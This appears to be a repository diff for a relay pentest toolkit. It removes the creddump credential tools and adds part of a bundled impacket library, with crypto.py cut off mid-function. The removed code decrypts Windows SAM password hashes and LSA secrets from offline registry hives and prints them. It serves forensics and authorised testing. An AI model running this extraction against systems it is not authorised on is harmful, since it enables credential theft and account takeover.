tools/MultiRelay/creddump/framework/win32/hashdump.py
View File

@@ -1,311 +0,0 @@
# This file is part of creddump.
#
# creddump is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# creddump is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
# pylint: disable=invalid-name,missing-docstring
"""
@author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later
@contact: bdolangavitt@wesleyan.edu
"""
from struct import unpack, pack
import binascii
from Crypto.Hash import MD5
from Crypto.Cipher import ARC4, DES, AES
from framework.win32.rawreg import get_root, open_key, values, subkeys
from framework.addrspace import HiveFileAddressSpace
odd_parity = [
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110,
112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127,
128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143,
145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158,
161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174,
176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191,
193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206,
208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223,
224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239,
241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254
]
# Permutation matrix for boot key
p = [0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7]
# Constants for SAM decrypt algorithm
aqwerty = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
anum = b"0123456789012345678901234567890123456789\0"
antpassword = b"NTPASSWORD\0"
almpassword = b"LMPASSWORD\0"
empty_lm = binascii.unhexlify("aad3b435b51404eeaad3b435b51404ee")
empty_nt = binascii.unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")
def str_to_key(s):
key = bytearray()
key.append(s[0] >> 1)
key.append(((s[0] & 0x01) << 6) | ((s[1]) >> 2))
key.append(((s[1] & 0x03) << 5) | ((s[2]) >> 3))
key.append(((s[2] & 0x07) << 4) | ((s[3]) >> 4))
key.append(((s[3] & 0x0F) << 3) | ((s[4]) >> 5))
key.append(((s[4] & 0x1F) << 2) | ((s[5]) >> 6))
key.append(((s[5] & 0x3F) << 1) | ((s[6]) >> 7))
key.append(s[6] & 0x7F)
for i in range(8):
key[i] = (key[i] << 1)
key[i] = odd_parity[key[i]]
return key
def sid_to_key(sid):
s1 = bytearray()
s1.append(sid & 0xFF)
s1.append((sid >> 8) & 0xFF)
s1.append((sid >> 16) & 0xFF)
s1.append((sid >> 24) & 0xFF)
s1.append(s1[0])
s1.append(s1[1])
s1.append(s1[2])
s2 = bytearray([s1[3], s1[0], s1[1], s1[2]])
s2.append(s2[0])
s2.append(s2[1])
s2.append(s2[2])
return str_to_key(s1), str_to_key(s2)
def find_control_set(sysaddr):
root = get_root(sysaddr)
if not root:
return 1
csselect = open_key(root, ["Select"])
if not csselect:
return 1
for v in values(csselect):
if v.Name == b"Current":
return v.Data.value
return 1
def get_bootkey(sysaddr):
cs = find_control_set(sysaddr)
lsa_base = ["ControlSet%03d" % cs, "Control", "Lsa"]
lsa_keys = ["JD", "Skew1", "GBG", "Data"]
root = get_root(sysaddr)
if not root:
return None
lsa = open_key(root, lsa_base)
if not lsa:
return None
bootkey = []
for lk in lsa_keys:
key = open_key(lsa, [lk])
class_data = sysaddr.read(key.Class.value, key.ClassLength.value)
hex_string = class_data.decode('utf-16-le')
hex_data = binascii.unhexlify(hex_string)
for h in hex_data:
bootkey.append(h)
bootkey_scrambled = []
for i in range(len(bootkey)):
bootkey_scrambled.append(bootkey[p[i]])
return bytes(bootkey_scrambled)
def get_hbootkey(samaddr, bootkey):
sam_account_path = ["SAM", "Domains", "Account"]
root = get_root(samaddr)
if not root:
return None
sam_account_key = open_key(root, sam_account_path)
if not sam_account_key:
return None
F = None
for v in values(sam_account_key):
if v.Name == b'F':
F = samaddr.read(v.Data.value, v.DataLength.value)
if not F:
return None
revision = F[0x00]
if revision == 2:
md5 = MD5.new()
md5.update(F[0x70:0x80] + aqwerty + bootkey + anum)
rc4_key = md5.digest()
rc4 = ARC4.new(rc4_key)
hbootkey = rc4.encrypt(F[0x80:0xA0])
return hbootkey
if revision == 3:
iv = F[0x78:0x88]
encryptedHBootKey = F[0x88:0xA8]
cipher = AES.new(bootkey, AES.MODE_CBC, iv)
hbootkey = cipher.decrypt(encryptedHBootKey)
return hbootkey[:16]
print("Unknown revision: %d" % revision)
return None
def get_user_keys(samaddr):
user_key_path = ["SAM", "Domains", "Account", "Users"]
root = get_root(samaddr)
if not root:
return []
user_key = open_key(root, user_key_path)
if not user_key:
return []
return [k for k in subkeys(user_key) if k.Name != b"Names"]
def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr):
if enc_hash == "":
return ""
(des_k1, des_k2) = sid_to_key(rid)
d1 = DES.new(des_k1, DES.MODE_ECB)
d2 = DES.new(des_k2, DES.MODE_ECB)
md5 = MD5.new()
md5.update(hbootkey[:0x10] + pack("<L", rid) + lmntstr)
rc4_key = md5.digest()
rc4 = ARC4.new(rc4_key)
obfkey = rc4.encrypt(enc_hash)
return d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:])
def decrypt_single_salted_hash(rid, hbootkey, enc_hash, salt):
if enc_hash == "":
return ""
(des_k1, des_k2) = sid_to_key(rid)
d1 = DES.new(des_k1, DES.MODE_ECB)
d2 = DES.new(des_k2, DES.MODE_ECB)
cipher = AES.new(hbootkey[:16], AES.MODE_CBC, salt)
obfkey = cipher.decrypt(enc_hash)
return d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:16])
def get_user_hashes(user_key, hbootkey):
# pylint: disable=too-many-locals
samaddr = user_key.space
try:
rid = int(user_key.Name.decode(), 16)
except ValueError:
print("Could not decode rid from key name %s" % (user_key.Name.decode()))
return None, None
V = None
for v in values(user_key):
if v.Name == b'V':
V = samaddr.read(v.Data.value, v.DataLength.value)
if not V:
return None, None
hash_offset = unpack("<L", V[0xa8:0xa8 + 4])[0] + 0xCC
lm_offset_bytes = V[0x9c:0x9c + 4]
nt_offset_bytes = V[0x9c + 12:0x9c + 16]
lm_offset = unpack("<L", lm_offset_bytes)[0] + 204
nt_offset = unpack("<L", nt_offset_bytes)[0] + 204
lmhash = None
nthash = None
lm_revision_bytes = V[lm_offset + 2:lm_offset + 3]
lm_revision = unpack('<B', lm_revision_bytes)[0]
if lm_revision == 1:
lm_exists = unpack("<L", V[0x9c + 4:0x9c + 8])[0] == 20
enc_lm_hash = V[hash_offset + 4:hash_offset + 20] if lm_exists else ""
lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword)
elif lm_revision == 2:
lm_exists = unpack("<L", V[0x9c + 4:0x9c + 8])[0] == 56
lm_salt = V[hash_offset + 4:hash_offset + 20] if lm_exists else ""
enc_lm_hash = V[hash_offset + 20:hash_offset + 52] if lm_exists else ""
lmhash = decrypt_single_salted_hash(rid, hbootkey, enc_lm_hash, lm_salt)
nt_revision_bytes = V[nt_offset + 2:nt_offset + 3]
nt_revision = unpack('<B', nt_revision_bytes)[0]
if nt_revision == 1:
nt_exists = unpack("<L", V[0x9c + 16:0x9c + 20])[0] == 20
enc_nt_hash = V[nt_offset + 4:nt_offset + 20] if nt_exists else ""
nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword)
elif nt_revision == 2:
nt_exists = unpack("<L", V[0x9c + 16:0x9c + 20])[0] == 56
nt_salt = V[nt_offset + 8:nt_offset + 24] if nt_exists else ""
enc_nt_hash = V[nt_offset + 24:nt_offset + 56] if nt_exists else ""
nthash = decrypt_single_salted_hash(rid, hbootkey, enc_nt_hash, nt_salt)
return lmhash, nthash
def get_user_name(user_key):
samaddr = user_key.space
V = None
for v in values(user_key):
if v.Name == b'V':
V = samaddr.read(v.Data.value, v.DataLength.value)
if not V:
return None
name_offset = unpack("<L", V[0x0c:0x10])[0] + 0xCC
name_length = unpack("<L", V[0x10:0x14])[0]
username = V[name_offset:name_offset + name_length].decode('utf-16-le')
return username
def dump_hashes(sysaddr, samaddr):
bootkey = get_bootkey(sysaddr)
hbootkey = get_hbootkey(samaddr, bootkey)
for user in get_user_keys(samaddr):
lmhash, nthash = get_user_hashes(user, hbootkey)
if not lmhash:
lmhash = empty_lm
if not nthash:
nthash = empty_nt
try:
print("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16),
lmhash.hex(), nthash.hex()))
except ValueError:
pass # skip if user.Name cannot be converted to an int, since its a "false" rid like the "Names" key
def dump_file_hashes(syshive_fname, samhive_fname):
sysaddr = HiveFileAddressSpace(syshive_fname)
samaddr = HiveFileAddressSpace(samhive_fname)
dump_hashes(sysaddr, samaddr)

179
tools/MultiRelay/creddump/framework/win32/lsasecrets.py
View File

@@ -1,179 +0,0 @@
# This file is part of creddump.
#
# creddump is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# creddump is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
# pylint: disable=missing-docstring
"""
@author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later
@contact: bdolangavitt@wesleyan.edu
"""
from Crypto.Hash import MD5, SHA256
from Crypto.Cipher import ARC4, DES, AES
from framework.win32.rawreg import get_root, open_key, subkeys, unpack
from framework.addrspace import HiveFileAddressSpace
from framework.win32.hashdump import get_bootkey, str_to_key
def get_lsa_key(secaddr, bootkey, vista):
root = get_root(secaddr)
if not root:
return None
if vista:
enc_reg_key = open_key(root, ["Policy", "PolEKList"])
else:
enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"])
if not enc_reg_key:
return None
enc_reg_value = enc_reg_key.ValueList.List[0]
if not enc_reg_value:
return None
obf_lsa_key = secaddr.read(enc_reg_value.Data.value,
enc_reg_value.DataLength.value)
if not obf_lsa_key:
return None
if not vista:
md5 = MD5.new()
md5.update(bootkey)
for __ in range(1000):
md5.update(obf_lsa_key[60:76])
rc4key = md5.digest()
rc4 = ARC4.new(rc4key)
lsa_key = rc4.decrypt(obf_lsa_key[12:60])
lsa_key = lsa_key[0x10:0x20]
else:
lsa_key = decrypt_aes(obf_lsa_key, bootkey)
lsa_key = lsa_key[68:100]
return lsa_key
def decrypt_secret(secret, key):
"""Python implementation of SystemFunction005.
Decrypts a block of data with DES using given key.
Note that key can be longer than 7 bytes."""
decrypted_data = bytearray()
j = 0 # key index
for i in range(0, len(secret), 8):
enc_block = secret[i:i + 8]
block_key = key[j:j + 7]
des_key = str_to_key(block_key)
des = DES.new(des_key, DES.MODE_ECB)
decrypted_data += des.decrypt(enc_block)
j += 7
if len(key[j:j + 7]) < 7:
j = len(key[j:j + 7])
(dec_data_len,) = unpack("<L", decrypted_data[:4])
return decrypted_data[8:8 + dec_data_len]
def decrypt_aes(secret, key):
sha = SHA256.new()
sha.update(key)
for _i in range(1, 1000 + 1):
sha.update(secret[28:60])
aeskey = sha.digest()
data = bytearray()
for i in range(60, len(secret), 16):
aes = AES.new(aeskey, AES.MODE_CBC, b"\x00" * 16)
buf = secret[i: i + 16]
if len(buf) < 16:
buf += (16 - len(buf)) * b"\00"
data += aes.decrypt(buf)
return data
def get_secret_by_name(secaddr, name, lsakey, vista):
root = get_root(secaddr)
if not root:
return None
enc_secret_key = open_key(root, ["Policy", "Secrets", name, "CurrVal"])
if not enc_secret_key:
return None
enc_secret_value = enc_secret_key.ValueList.List[0]
if not enc_secret_value:
return None
enc_secret = secaddr.read(enc_secret_value.Data.value,
enc_secret_value.DataLength.value)
if not enc_secret:
return None
if vista:
secret = decrypt_aes(enc_secret, lsakey)
else:
secret = decrypt_secret(enc_secret[0xC:], lsakey)
return secret
def get_secrets(sysaddr, secaddr, vista):
root = get_root(secaddr)
if not root:
return None
bootkey = get_bootkey(sysaddr)
lsakey = get_lsa_key(secaddr, bootkey, vista)
secrets_key = open_key(root, ["Policy", "Secrets"])
if not secrets_key:
return None
secrets = {}
for key in subkeys(secrets_key):
sec_val_key = open_key(key, ["CurrVal"])
if not sec_val_key:
continue
enc_secret_value = sec_val_key.ValueList.List[0]
if not enc_secret_value:
continue
enc_secret = secaddr.read(enc_secret_value.Data.value,
enc_secret_value.DataLength.value)
if not enc_secret:
continue
if vista:
secret = decrypt_aes(enc_secret, lsakey)
else:
secret = decrypt_secret(enc_secret[0xC:], lsakey)
secrets[key.Name] = secret
return secrets
def get_file_secrets(sysfile, secfile, vista):
sysaddr = HiveFileAddressSpace(sysfile)
secaddr = HiveFileAddressSpace(secfile)
return get_secrets(sysaddr, secaddr, vista)

73
tools/MultiRelay/creddump/framework/win32/rawreg.py
View File

@@ -1,73 +0,0 @@
# This file is part of creddump.
#
# creddump is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# creddump is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
"""
@author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later
@contact: bdolangavitt@wesleyan.edu
"""
from framework.newobj import Obj,Pointer
from struct import unpack
ROOT_INDEX = 0x20
LH_SIG = unpack("<H",b"lh")[0]
LF_SIG = unpack("<H",b"lf")[0]
RI_SIG = unpack("<H",b"ri")[0]
def get_root(address_space):
return Obj("_CM_KEY_NODE", ROOT_INDEX, address_space)
def open_key(root, key):
if key == []:
return root
keyname = key.pop(0).encode()
for s in subkeys(root):
if s.Name.upper() == keyname.upper():
return open_key(s, key)
print("ERR: Couldn't find subkey %s of %s" % (keyname, root.Name))
return None
def subkeys(key,stable=True):
if stable: k = 0
else: k = 1
sk = (key.SubKeyLists[k]/["pointer", ["_CM_KEY_INDEX"]]).value
sub_list = []
if (sk.Signature.value == LH_SIG or
sk.Signature.value == LF_SIG):
sub_list = sk.List
elif sk.Signature.value == RI_SIG:
lfs = []
for i in range(sk.Count.value):
off,tp = sk.get_offset(['List', i])
lfs.append(Pointer("pointer", sk.address+off, sk.space,
["_CM_KEY_INDEX"]))
for lf in lfs:
sub_list += lf.List
for s in sub_list:
if s.is_valid() and s.Signature.value == 27502:
yield s.value
def values(key):
for v in key.ValueList.List:
yield v.value
def walk(root):
for k in subkeys(root):
yield k
for j in walk(k):
yield j

68
tools/MultiRelay/creddump/lsadump.py
View File

@@ -1,68 +0,0 @@
#!/usr/bin/env python
# This file is part of creddump.
#
# creddump is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# creddump is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
# pylint: disable=invalid-name,missing-docstring
"""
@author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later
@contact: bdolangavitt@wesleyan.edu
"""
import sys
from framework.win32.lsasecrets import get_file_secrets
# Hex dump code from
# http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812
FILTER = ''.join(32 <= i < 127 and chr(i) or '.' for i in range(256))
def showUsage():
print("usage: %s <system hive> <security hive> <Vista/7>" % sys.argv[0])
print("\nExample (Windows Vista/7):")
print("%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true" % sys.argv[0])
print("\nExample (Windows XP):")
print("%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false" % sys.argv[0])
def dump(src, length=8):
N = 0
result = ''
while src:
s, src = src[:length], src[length:]
hexa = ' '.join(["%02X" % x for x in s])
s = ''.join(FILTER[b] for b in s)
result += "%04X %-*s %s\n" % (N, length * 3, hexa, s)
N += length
return result
if len(sys.argv) < 4 or sys.argv[3].lower() not in ["true", "false"]:
showUsage()
sys.exit(1)
else:
vista = sys.argv[3].lower() == "true"
secrets = get_file_secrets(sys.argv[1], sys.argv[2], vista)
if not secrets:
print("Unable to read LSA secrets. Perhaps you provided invalid hive files?")
sys.exit(1)
for k in secrets:
print(k.decode())
print(dump(secrets[k], length=16))

31
tools/MultiRelay/creddump/pwdump.py
View File

@@ -1,31 +0,0 @@
#!/usr/bin/env python
# This file is part of creddump.
#
# creddump is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# creddump is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
"""
@author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later
@contact: bdolangavitt@wesleyan.edu
"""
import sys
from framework.win32.hashdump import dump_file_hashes
if len(sys.argv) < 3:
print("usage: %s <system hive> <SAM hive>" % sys.argv[0])
sys.exit(1)
dump_file_hashes(sys.argv[1], sys.argv[2])

84
tools/MultiRelay/impacket-dev/LICENSE Normal file
View File

@@ -0,0 +1,84 @@
Licencing
---------
We provide this software under a slightly modified version of the
Apache Software License. The only changes to the document were the
replacement of "Apache" with "Impacket" and "Apache Software Foundation"
with "SecureAuth Corporation". Feel free to compare the resulting
document to the official Apache license.
The `Apache Software License' is an Open Source Initiative Approved
License.
The Apache Software License, Version 1.1
Modifications by SecureAuth Corporation (see above)
Copyright (c) 2000 The Apache Software Foundation. All rights
reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in
the documentation and/or other materials provided with the
distribution.
3. The end-user documentation included with the redistribution,
if any, must include the following acknowledgment:
"This product includes software developed by
SecureAuth Corporation (https://www.secureauth.com/)."
Alternately, this acknowledgment may appear in the software itself,
if and wherever such third-party acknowledgments normally appear.
4. The names "Impacket", "SecureAuth Corporation" must
not be used to endorse or promote products derived from this
software without prior written permission. For written
permission, please contact oss@secureauth.com.
5. Products derived from this software may not be called "Impacket",
nor may "Impacket" appear in their name, without prior written
permission of SecureAuth Corporation.
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
SUCH DAMAGE.
Smb.py and nmb.py are based on Pysmb by Michael Teo
(https://miketeo.net/projects/pysmb/), and are distributed under the
following license:
This software is provided 'as-is', without any express or implied
warranty. In no event will the author be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must
not claim that you wrote the original software. If you use this
software in a product, an acknowledgment in the product
documentation would be appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must
not be misrepresented as being the original software.
3. This notice cannot be removed or altered from any source
distribution.

2130
tools/MultiRelay/impacket-dev/impacket/ImpactPacket.py Normal file
View File

File diff suppressed because it is too large Load Diff

25
tools/MultiRelay/impacket-dev/impacket/__init__.py Normal file
View File

@@ -0,0 +1,25 @@
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Set default logging handler to avoid "No handler found" warnings.
import logging
try: # Python 2.7+
from logging import NullHandler
except ImportError:
class NullHandler(logging.Handler):
def emit(self, record):
pass
# All modules inside this library MUST use this logger (impacket)
# It is up to the library consumer to do whatever is wanted
# with the logger output. By default it is forwarded to the
# upstream logger
LOG = logging.getLogger(__name__)
LOG.addHandler(NullHandler())

346
tools/MultiRelay/impacket-dev/impacket/crypto.py Normal file
View File

@@ -0,0 +1,346 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (beto@coresecurity.com)
#
# Description:
# RFC 4493 implementation (https://www.ietf.org/rfc/rfc4493.txt)
# RFC 4615 implementation (https://www.ietf.org/rfc/rfc4615.txt)
#
# NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256 implementation
# (https://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108)
#
# [MS-LSAD] Section 5.1.2
# [MS-SAMR] Section 2.2.11.1.1
from __future__ import division
from __future__ import print_function
from impacket import LOG
try:
from Cryptodome.Cipher import DES, AES
except Exception:
LOG.error("Warning: You don't have any crypto installed. You need pycryptodomex")
LOG.error("See https://pypi.org/project/pycryptodomex/")
from struct import pack, unpack
from impacket.structure import Structure
import hmac, hashlib
from six import b
def Generate_Subkey(K):
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + Algorithm Generate_Subkey +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + +
# + Input : K (128-bit key) +
# + Output : K1 (128-bit first subkey) +
# + K2 (128-bit second subkey) +
# +-------------------------------------------------------------------+
# + +
# + Constants: const_Zero is 0x00000000000000000000000000000000 +
# + const_Rb is 0x00000000000000000000000000000087 +
# + Variables: L for output of AES-128 applied to 0^128 +
# + +
# + Step 1. L := AES-128(K, const_Zero); +
# + Step 2. if MSB(L) is equal to 0 +
# + then K1 := L << 1; +
# + else K1 := (L << 1) XOR const_Rb; +
# + Step 3. if MSB(K1) is equal to 0 +
# + then K2 := K1 << 1; +
# + else K2 := (K1 << 1) XOR const_Rb; +
# + Step 4. return K1, K2; +
# + +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
AES_128 = AES.new(K, AES.MODE_ECB)
L = AES_128.encrypt(bytes(bytearray(16)))
LHigh = unpack('>Q',L[:8])[0]
LLow = unpack('>Q',L[8:])[0]
K1High = ((LHigh << 1) | ( LLow >> 63 )) & 0xFFFFFFFFFFFFFFFF
K1Low = (LLow << 1) & 0xFFFFFFFFFFFFFFFF
if (LHigh >> 63):
K1Low ^= 0x87
K2High = ((K1High << 1) | (K1Low >> 63)) & 0xFFFFFFFFFFFFFFFF
K2Low = ((K1Low << 1)) & 0xFFFFFFFFFFFFFFFF
if (K1High >> 63):
K2Low ^= 0x87
K1 = bytearray(pack('>QQ', K1High, K1Low))
K2 = bytearray(pack('>QQ', K2High, K2Low))
return K1, K2
def XOR_128(N1,N2):
J = bytearray()
for i in range(len(N1)):
#J.append(indexbytes(N1,i) ^ indexbytes(N2,i))
J.append(N1[i] ^ N2[i])
return J
def PAD(N):
padLen = 16-len(N)
return N + b'\x80' + b'\x00'*(padLen-1)
def AES_CMAC(K, M, length):
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + Algorithm AES-CMAC +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + +
# + Input : K ( 128-bit key ) +
# + : M ( message to be authenticated ) +
# + : len ( length of the message in octets ) +
# + Output : T ( message authentication code ) +
# + +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + Constants: const_Zero is 0x00000000000000000000000000000000 +
# + const_Bsize is 16 +
# + +
# + Variables: K1, K2 for 128-bit subkeys +
# + M_i is the i-th block (i=1..ceil(len/const_Bsize)) +
# + M_last is the last block xor-ed with K1 or K2 +
# + n for number of blocks to be processed +
# + r for number of octets of last block +
# + flag for denoting if last block is complete or not +
# + +
# + Step 1. (K1,K2) := Generate_Subkey(K); +
# + Step 2. n := ceil(len/const_Bsize); +
# + Step 3. if n = 0 +
# + then +
# + n := 1; +
# + flag := false; +
# + else +
# + if len mod const_Bsize is 0 +
# + then flag := true; +
# + else flag := false; +
# + +
# + Step 4. if flag is true +
# + then M_last := M_n XOR K1; +
# + else M_last := padding(M_n) XOR K2; +
# + Step 5. X := const_Zero; +
# + Step 6. for i := 1 to n-1 do +
# + begin +
# + Y := X XOR M_i; +
# + X := AES-128(K,Y); +
# + end +
# + Y := M_last XOR X; +
# + T := AES-128(K,Y); +
# + Step 7. return T; +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
const_Bsize = 16
const_Zero = bytearray(16)
AES_128= AES.new(K, AES.MODE_ECB)
M = bytearray(M[:length])
K1, K2 = Generate_Subkey(K)
n = len(M)//const_Bsize
if n == 0:
n = 1
flag = False
else:
if (length % const_Bsize) == 0:
flag = True
else:
n += 1
flag = False
M_n = M[(n-1)*const_Bsize:]
if flag is True:
M_last = XOR_128(M_n,K1)
else:
M_last = XOR_128(PAD(M_n),K2)
X = const_Zero
for i in range(n-1):
M_i = M[(i)*const_Bsize:][:16]
Y = XOR_128(X, M_i)
X = bytearray(AES_128.encrypt(bytes(Y)))
Y = XOR_128(M_last, X)
T = AES_128.encrypt(bytes(Y))
return T
def AES_CMAC_PRF_128(VK, M, VKlen, Mlen):
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + AES-CMAC-PRF-128 +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + +
# + Input : VK (Variable-length key) +
# + : M (Message, i.e., the input data of the PRF) +
# + : VKlen (length of VK in octets) +
# + : len (length of M in octets) +
# + Output : PRV (128-bit Pseudo-Random Variable) +
# + +
# +-------------------------------------------------------------------+
# + Variable: K (128-bit key for AES-CMAC) +
# + +
# + Step 1. If VKlen is equal to 16 +
# + Step 1a. then +
# + K := VK; +
# + Step 1b. else +
# + K := AES-CMAC(0^128, VK, VKlen); +
# + Step 2. PRV := AES-CMAC(K, M, len); +
# + return PRV; +
# + +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
if VKlen == 16:
K = VK
else:
K = AES_CMAC(bytes(bytearray(16)), VK, VKlen)
PRV = AES_CMAC(K, M, Mlen)
return PRV
def KDF_CounterMode(KI, Label, Context, L):
# Implements NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256
# https://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108
# Fixed values:
# 1. h - The length of the output of the PRF in bits, and
# 2. r - The length of the binary representation of the counter i.
# Input: KI, Label, Context, and L.
# Process:
# 1. n := [L/h]
# 2. If n > 2r-1, then indicate an error and stop.
# 3. result(0):= empty .
# 4. For i = 1 to n, do
# a. K(i) := PRF (KI, [i]2 || Label || 0x00 || Context || [L]2)
# b. result(i) := result(i-1) || K(i).
# 5. Return: KO := the leftmost L bits of result(n).
h = 256
r = 32
n = L // h
if n == 0:
n = 1
if n > (pow(2,r)-1):
raise Exception("Error computing KDF_CounterMode")
result = b''
K = b''
for i in range(1,n+1):
input = pack('>L', i) + Label + b'\x00' + Context + pack('>L',L)
K = hmac.new(KI, input, hashlib.sha256).digest()
result = result + K
return result[:(L//8)]
# [MS-LSAD] Section 5.1.2 / 5.1.3
class LSA_SECRET_XP(Structure):
structure = (
('Length','<L=0'),
('Version','<L=0'),
('_Secret','_-Secret', 'self["Length"]'),
('Secret', ':'),
)
def transformKey(InputKey):
# Section 5.1.3
